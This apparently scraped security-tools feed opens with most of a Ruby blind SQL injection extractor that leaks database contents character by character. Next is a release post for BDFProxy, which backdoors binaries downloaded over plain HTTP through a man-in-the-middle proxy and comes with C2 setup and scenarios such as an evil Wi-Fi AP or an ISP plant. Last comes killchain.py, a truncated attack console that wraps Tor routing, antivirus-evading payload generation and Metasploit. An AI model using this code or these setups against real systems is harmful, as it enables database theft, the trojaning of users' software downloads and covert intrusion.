						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							for ch in $arr15
								if $hex == "y"
									configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
								else
									configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						else
							for ch in $arr16
								if $hex == "y"
									configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
								else
									configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						end
					end
				end
			end
		end

		# numeric
		if found == 0
			if $hex == "y"
				configreq(" between" + " 0x" + "0".unpack('H*')[0] + " and " + "0x" + "9".unpack('H*')[0])
			else
				configreq("between" + $oh + "0" + $oh + "and" + $oh + "9")
			end
			sendreq()
			send2ndreq() if $secfile != ""
			$fheader = "n"
			$response.to_hash.each { |k,v|
				$fheader = "y" if k.to_s.include?($search)
				$fheader = "y" if v.to_s.include?($search)
			}
			if $response.body.include?($search) || $fheader == "y"
				if $hex == "y"
					configreq(" between" + " 0x" + "0".unpack('H*')[0] + " and " + "0x" + "4".unpack('H*')[0])
				else
					configreq("between" + $oh + "0" + $oh + "and" + $oh + "4")
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					for ch in $arrn1
						if $hex == "y"
							configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
						else
							configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							$result = $result + ch
	    	      			              	puts "Letter " + $i.to_s + " found: " + ch
							found = 1
			   	                    	break
						end
					end
				else
					for ch in $arrn2
						if $hex == "y"
							configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
						else
							configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							$result = $result + ch
		      			              	puts "Letter " + $i.to_s + " found: " + ch
							found = 1
			   	                    	break
						end
					end
				end
			end
		end

		# special character
		if found == 0
			for ch in $arrs
				if $hex == "y"
					configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
				else
					configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					$result = $result + ch
			      	       	puts "Letter " + $i.to_s + " found: " + ch
					found = 1
			               	break
				end
			end
		end

	elsif $mode == "a"

		# lowercase
		if $hex == "y"
			configreq(">=" + " 0x" + "a".unpack('H*')[0])
		else
			configreq(">=" + $oh + "a")
		end
		sendreq()
		send2ndreq() if $secfile != ""
		$fheader = "n"
		$response.to_hash.each { |k,v|
			$fheader = "y" if k.to_s.include?($search)
			$fheader = "y" if v.to_s.include?($search)
		}
		if $response.body.include?($search) || $fheader == "y"
			if $hex == "y"
				configreq("<=" + " 0x" + "m".unpack('H*')[0])
			else
				configreq("<=" + $oh + "m")
			end
			sendreq()
			send2ndreq() if $secfile != ""
			$fheader = "n"
			$response.to_hash.each { |k,v|
				$fheader = "y" if k.to_s.include?($search)
				$fheader = "y" if v.to_s.include?($search)
			}
			if $response.body.include?($search) || $fheader == "y"
				if $hex == "y"
					configreq("<=" + " 0x" + "f".unpack('H*')[0])
				else
					configreq("<=" + $oh + "f")
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					if $hex == "y"
						configreq("<=" + " 0x" + "c".unpack('H*')[0])
					else
						configreq("<=" + $oh + "c")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						for ch in $arr1
							if $hex == "y"
								configreq("=" + "0x" + ch.unpack('H*')[0])
							else
								configreq("=" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					else
						for ch in $arr2
							if $hex == "y"
								configreq("=" + "0x" + ch.unpack('H*')[0])
							else
								configreq("=" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					end
				else
					if $hex == "y"
						configreq("<=" + " 0x" + "i".unpack('H*')[0])
					else
						configreq("<=" + $oh + "i")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						for ch in $arr3
							if $hex == "y"
								configreq("=" + "0x" + ch.unpack('H*')[0])
							else
								configreq("=" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					else
						for ch in $arr4
							if $hex == "y"
								configreq("=" + "0x" + ch.unpack('H*')[0])
							else
								configreq("=" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					end
				end
			else
				if $hex == "y"
					configreq("<=" + " 0x" + "s".unpack('H*')[0])
				else
					configreq("<=" + $oh + "s")
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					if $hex == "y"
						configreq("<=" + " 0x" + "p".unpack('H*')[0])
					else
						configreq("<=" + $oh + "p")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						for ch in $arr5
							if $hex == "y"
								configreq("=" + "0x" + ch.unpack('H*')[0])
							else
								configreq("=" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					else
						for ch in $arr6
							if $hex == "y"
								configreq("=" + "0x" + ch.unpack('H*')[0])
							else
								configreq("=" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					end
				else
					if $hex == "y"
						configreq("<=" + " 0x" + "v".unpack('H*')[0])
					else
						configreq("<=" + $oh + "v")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						for ch in $arr7
							if $hex == "y"
								configreq("=" + "0x" + ch.unpack('H*')[0])
							else
								configreq("=" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					else
						for ch in $arr8
							if $hex == "y"
								configreq("=" + "0x" + ch.unpack('H*')[0])
							else
								configreq("=" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					end
				end
			end
		end

		# uppercase - only when case-sensitive specified
		if $case == "y" && found == 0
			if $hex == "y"
				configreq(">=" + " 0x" + "A".unpack('H*')[0])
			else
				configreq(">=" + $oh + "A")
			end
			sendreq()
			send2ndreq() if $secfile != ""
			$fheader = "n"
			$response.to_hash.each { |k,v|
				$fheader = "y" if k.to_s.include?($search)
				$fheader = "y" if v.to_s.include?($search)
			}
			if $response.body.include?($search) || $fheader == "y"
				if $hex == "y"
					configreq("<=" + " 0x" + "M".unpack('H*')[0])
				else
					configreq("<=" + $oh + "M")
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					if $hex == "y"
						configreq("<=" + " 0x" + "F".unpack('H*')[0])
					else
						configreq("<=" + $oh + "F")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						if $hex == "y"
							configreq("<=" + " 0x" + "C".unpack('H*')[0])
						else
							configreq("<=" + $oh + "C")
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							for ch in $arr9
								if $hex == "y"
									configreq("=" + "0x" + ch.unpack('H*')[0])
								else
									configreq("=" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						else
							for ch in $arr10
								if $hex == "y"
									configreq("=" + "0x" + ch.unpack('H*')[0])
								else
									configreq("=" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						end
					else
						if $hex == "y"
							configreq("<=" + " 0x" + "I".unpack('H*')[0])
						else
							configreq("<=" + $oh + "I")
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							for ch in $arr11
								if $hex == "y"
									configreq("=" + "0x" + ch.unpack('H*')[0])
								else
									configreq("=" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						else
							for ch in $arr12
								if $hex == "y"
									configreq("=" + "0x" + ch.unpack('H*')[0])
								else
									configreq("=" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						end
					end
				else
					if $hex == "y"
						configreq("<=" + " 0x" + "S".unpack('H*')[0])
					else
						configreq("<=" + $oh + "S")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						if $hex == "y"
							configreq("<=" + " 0x" + "P".unpack('H*')[0])
						else
							configreq("<=" + $oh + "P")
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							for ch in $arr13
								if $hex == "y"
									configreq("=" + "0x" + ch.unpack('H*')[0])
								else
									configreq("=" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						else
							for ch in $arr14
								if $hex == "y"
									configreq("=" + "0x" + ch.unpack('H*')[0])
								else
									configreq("=" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						end
					else
						if $hex == "y"
							configreq("<=" + " 0x" + "V".unpack('H*')[0])
						else
							configreq("<=" + $oh + "V")
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							for ch in $arr15
								if $hex == "y"
									configreq("=" + "0x" + ch.unpack('H*')[0])
								else
									configreq("=" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						else
							for ch in $arr16
								if $hex == "y"
									configreq("=" + "0x" + ch.unpack('H*')[0])
								else
									configreq("=" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						end
					end
				end
			end
		end

		# numeric
		if found == 0
			if $hex == "y"
				configreq(">=" + " 0x" + "0".unpack('H*')[0])
			else
				configreq(">=" + $oh + "0")
			end
			sendreq()
			send2ndreq() if $secfile != ""
			$fheader = "n"
			$response.to_hash.each { |k,v|
				$fheader = "y" if k.to_s.include?($search)
				$fheader = "y" if v.to_s.include?($search)
			}
			if $response.body.include?($search) || $fheader == "y"
				if $hex == "y"
					configreq("<=" + " 0x" + "4".unpack('H*')[0])
				else
					configreq("<=" + $oh + "4")
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					for ch in $arrn1
						if $hex == "y"
							configreq("=" + "0x" + ch.unpack('H*')[0])
						else
							configreq("=" + $oh + ch)
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							$result = $result + ch
	    	      			              	puts "Letter " + $i.to_s + " found: " + ch
							found = 1
			   	                    	break
						end
					end
				else
					for ch in $arrn2
						if $hex == "y"
							configreq("=" + "0x" + ch.unpack('H*')[0])
						else
							configreq("=" + $oh + ch)
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							$result = $result + ch
		      			              	puts "Letter " + $i.to_s + " found: " + ch
							found = 1
			   	                    	break
						end
					end
				end
			end
		end

		# special character
		if found == 0
			for ch in $arrs
				if $hex == "y"
					configreq("=" + "0x" + ch.unpack('H*')[0])
				else
					configreq("=" + $oh + ch)
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					$result = $result + ch
			      	       	puts "Letter " + $i.to_s + " found: " + ch
					found = 1
			               	break
				end
			end
		end
	end

	# printing results
	if found == 0
		if $result == ""
        		puts "No results. Probably wrong pattern."
	            	break
	        else 
			puts "\nFull result:\n" + $result
			break
	        end
        end
end

# means that there are still chars to enumerate
if found == 1
	puts "\nRetreving not finished:\n" + $result
end

Source : https://github.com/enjoiz


BDFProxy (The Backdoor Factory Proxy) version-0.3.8 released.

$
0
0

For security professionals and researchers only.

Changelog v0.3.8 12/20/2015:
+ Added configuration options in bdfproxy.cfg to support PE code signing from BDF => CODE_SIGN See BDF README for details.BDFProxy-0-3-8

This script rides on two libraries for usage: The Backdoor Factory (BDF) and the mitmProxy.
Concept:
Patch binaries during download ala MITM.
Why:
Because a lot of security tool websites still serve binaries via non-SSL/TLS means.
Here’s a short list:

sysinternals.com
Microsoft - MS Security Essentials
Almost all anti-virus companies
Malwarebytes
Sourceforge
gpg4win
Wireshark
etc...

+ Supported Environment:

Tested on all Kali Linux builds, whether a physical beefy laptop, a Raspberry Pi, or a VM, each can run BDFProxy.

Install:
BDF is in bdf/
Run the following to pull down the most recent:

./install.sh

OR:

git clone https://github.com/secretsquirrel/the-backdoor-factory bdf/
If you get a certificate error, run the following:

mitmproxy
And exit [Ctr+C] after mitmProxy loads.

Usage:

Update everything before each use:

./update.sh

 READ THE CONFIG!!!

-->bdfproxy.cfg

You will need to configure your C2 host and port settings before running BDFProxy. DO NOT overlap C2 PORT settings between different payloads. You’ll be sending linux shells to windows machines and things will be segfaulting all over the place. After running, there will be a metasploit resource script created to help with setting up your C2 communications. Check it carefully. By the way, everything outside the [Overall] section updates on the fly, so you don’t have to kill your proxy to change settings to work with your environment.

But wait! You will need to configure your mitm machine for mitm-ing! If you are using a wifiPineapple I modded a script put out by hack5 to help you with configuration. Run ./wpBDF.sh and enter in the correct configs for your environment. This script configures iptables to push only http (non-ssl) traffic through the proxy. All other traffic is fowarded normally.

Then:

./bdf_proxy.py

Here’s some sweet ascii art for possible phyiscal settings of the proxy:
Lan usage:

<Internet>----<mitmMachine>----<userLan>

WIFI Usage :

<Internet>----<mitmMachine>----<wifiPineapple>))

 Testing : 

Suppose you want to use your browser with Firefox and FoxyProxy to connect to test your setup.

    Update your config as follows:
    transparentProxy = False

    Configure FoxyProxy to use BDFProxy as a proxy.
    Default port in the config is 8080.

+ Logging:

We have it. The proxy window will quickly fill with massive amounts of cat links depending on the client you are testing. Use tail -f proxy.log to see what is getting patched and blocked by your blacklist settings. However, keep an eye on the main proxy window if you have chosen to patch binaries manually, things move fast and behind the scences there is multi-threading of traffic, but the intial requests and responses are locking for your viewing pleasure.

+ Attack Scenarios (all with permission of targets):
-Evil Wifi AP
-Arp Redirection
-Physical plant in a wiring closet
-Logical plant at your favorite ISP

Download : 0.3.8.zip  | 0.3.8.tar.gz  |Our Post Before | Source : https://github.com/secretsquirrel

Contact the developer on:
IRC: irc.freenode.net #BDFactory
Twitter: @midnite_runr

killchain v0.2 ~ A unified console to perform the “kill chain” stages of attacks.

$
0
0

“Kill Chain” is a unified console with an anonymizer that will perform these stages of attacks:
+ Reconnaissance
+ Weaponization
+ Delivery
+ Exploit
+ Installation
+ Command & Control
+ And Actions

Changelog v0.2 : killchain.py; IPTables rules.

killchain-v-0-2

killchain-v-0-2

Menu Options :
1) Anonymizer — Load Tor Iptables rules, route all traffic thru Tor.
2) De-Anonymizer — Flush Tor Iptables rules set to default rules.
3) Set — Social-Engineer Toolkit (SET), attacks against humans.
4) OpenVas — Vulnerability scanning and vulnerability management.
5) Veil-Evasion — Generate metasploit payloads bypass anti-virus.
6) Websploit Framework — WebSploit Advanced MITM Framework.
7) Metasploit Framework — Executing exploit code against target.
8) WiFite — Automated wireless auditor, designed for Linux.
9) Exit Kill Chain

Installation:

git clone https://github.com/ruped24/killchain
cd killchain
python killchain.py

update
cd killchain
git pull

killchain.py script:

#!/usr/bin/env python
#

from __future__ import print_function
from __future__ import absolute_import
from random import randint
from socket import gethostname
from sys import exit, stderr
from commands import getoutput
from subprocess import call
from time import sleep
from os import environ, devnull
from os.path import isfile

fnull = open(devnull, 'w')

__author__ = "Rupe"
__date__ = "June 14 2015"
__copyright__ = "Linux Professional Training"
__version__ = "0.2"
__license__ = "GPL"
__email__ = "ruped24@gmail.com"


class Colors:
  Escape = "\033"
  Lred = "[91m"
  Lgre = "[92m"
  Lyel = "[93m"


class Header:
  headers = {
      1: r"""
         **   ** **  **  **         ******  **                **
        /**  ** //  /** /**        **////**/**               //
        /** **   ** /** /**       **    // /**       ******   ** *******
        /****   /** /** /**      /**       /******  //////** /**//**///**
        /**/**  /** /** /**      /**       /**///**  ******* /** /**  /**
        /**//** /** /** /**      //**    **/**  /** **////** /** /**  /**
        /** //**/** *** ***       //****** /**  /**//********/** ***  /**
        //   // // /// ///         //////  //   //  //////// // ///   //   """,
      2: r"""
        KK  KK iii lll lll     CCCCC  hh              iii
        KK KK      lll lll    CC    C hh        aa aa     nn nnn
        KKKK   iii lll lll    CC      hhhhhh   aa aaa iii nnn  nn
        KK KK  iii lll lll    CC    C hh   hh aa  aaa iii nn   nn
        KK  KK iii lll lll     CCCCC  hh   hh  aaa aa iii nn   nn  """,
      3: r"""
        $$\   $$\ $$\ $$\ $$\        $$$$$$\  $$\                 $$\
        $$ | $$  |\__|$$ |$$ |      $$  __$$\ $$ |                \__|
        $$ |$$  / $$\ $$ |$$ |      $$ /  \__|$$$$$$$\   $$$$$$\  $$\ $$$$$$$\
        $$$$$  /  $$ |$$ |$$ |      $$ |      $$  __$$\  \____$$\ $$ |$$  __$$\
        $$  $$<   $$ |$$ |$$ |      $$ |      $$ |  $$ | $$$$$$$ |$$ |$$ |  $$ |
        $$ |\$$\  $$ |$$ |$$ |      $$ |  $$\ $$ |  $$ |$$  __$$ |$$ |$$ |  $$ |
        $$ | \$$\ $$ |$$ |$$ |      \$$$$$$  |$$ |  $$ |\$$$$$$$ |$$ |$$ |  $$ |
        \__|  \__|\__|\__|\__|       \______/ \__|  \__| \_______|\__|\__|  \__|  """,
  }


class Tools:
  tool = {
      'helper': 'which',
      3: "setoolkit",
      4: "openvas-setup",
      5: "veil-evasion",
      6: "websploit",
      7: "msfconsole",
      8: "wifite"
  }


class TorIptables(object):
  def __init__(self):
    self.tor_config_file = '/etc/tor/torrc'
    self.torrc = '''
VirtualAddrNetwork 10.0.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
DNSPort 53
'''
    self.non_tor_net = ["192.168.0.0/16", "172.16.0.0/12"]
    self.non_tor = ["127.0.0.0/9", "127.128.0.0/10", "127.0.0.0/8"]
    self.tor_uid = getoutput("id -ur debian-tor")  # Tor user uid
    self.trans_port = "9040"  # Tor port

  def flush_iptables_rules(self):
    call(["iptables", '-F'])
    call(["iptables", "-t", "nat", "-F"])

  def load_iptables_rules(self):
    self.flush_iptables_rules()
    self.non_tor.extend(self.non_tor_net)

    call(["iptables", "-t", "nat", "-A", "OUTPUT", "-m", "owner", "--uid-owner",
          "%s" % self.tor_uid, "-j", "RETURN"])
    call(["iptables", "-t", "nat", "-A", "OUTPUT", "-p", "udp", "--dport", "53",
          "-j", "REDIRECT", "--to-ports", "53"])

    for net in self.non_tor:
      call(["iptables", "-t", "nat", "-A", "OUTPUT", "-d", "%s" % net,
            "-j", "RETURN"])

    call(["iptables", "-t", "nat", "-A", "OUTPUT", "-p", "tcp", "--syn", "-j",
          "REDIRECT", "--to-ports", "%s" % self.trans_port])

    call(["iptables", "-A", "OUTPUT", "-m", "state", "--state",
          "ESTABLISHED,RELATED", "-j", "ACCEPT"])

    for net in (self.non_tor):
      call(["iptables", "-A", "OUTPUT", "-d", "%s" % net, "-j", "ACCEPT"])

    call(["iptables", "-A", "OUTPUT", "-m", "owner", "--uid-owner", "%s" %
          self.tor_uid, "-j", "ACCEPT"])
    call(["iptables", "-A", "OUTPUT", "-j", "REJECT"])

    # Restart Tor
    call(["service", "tor", "restart"], stderr=fnull)


def who_did_it():
  print("        {0}".format("#" * 64))
  print("        {0}".format("Created by: %s." % __copyright__))
  print("        {0}".format("For training purposes only."))
  print("        {0}, {1}".format("Version %s" % __version__,
                                  "License %s" % __license__))
  print("        {0}".format("Written by: %s" % __author__))
  print("        {0}".format("#" * 64 + "\n\n"))


def main_menu():
  print("        {0}".format(
      c.Escape + c.Lyel +
      "1)  Anonymizer -- Load Tor Iptables rules, route all traffic thru Tor.\n"))
  print("        {0}".format(
      "2)  De-Anonymizer -- Flush Tor Iptables rules set to default rules.\n"))
  print("        {0}".format(
      "3)  Set -- Social-Engineer Toolkit (SET), attacks against humans.\n"))
  print("        {0}".format(
      "4)  OpenVas --  Vulnerability scanning and vulnerability management.\n"))
  print("        {0}".format(
      "5)  Veil-Evasion -- Generate metasploit payloads bypass anti-virus.\n"))
  print("        {0}".format(
      "6)  Websploit Framework -- WebSploit Advanced MITM Framework.\n"))
  print("        {0}".format(
      "7)  Metasploit Framework -- Executing exploit code against target.\n"))
  print("        {0}".format(
      "8)  WiFite -- Automated wireless auditor, designed for Linux.\n"))
  print("        {0}".format(c.Escape + c.Lred + "9)  Exit Kill Chain\n"))


def anon_status():
  anon = getoutput("iptables -S -t nat | grep 53")
  if anon:
    print("        {0} {1}".format("Anonymizer status",
                                   c.Escape + c.Lgre + "[ON]\n"))
  else:
    print("        {0} {1}".format("Anonymizer status",
                                   c.Escape + c.Lred + "[OFF]\n"))


if __name__ == '__main__':
  load_tables = TorIptables()
  try:
    raw_input
  except NameError:
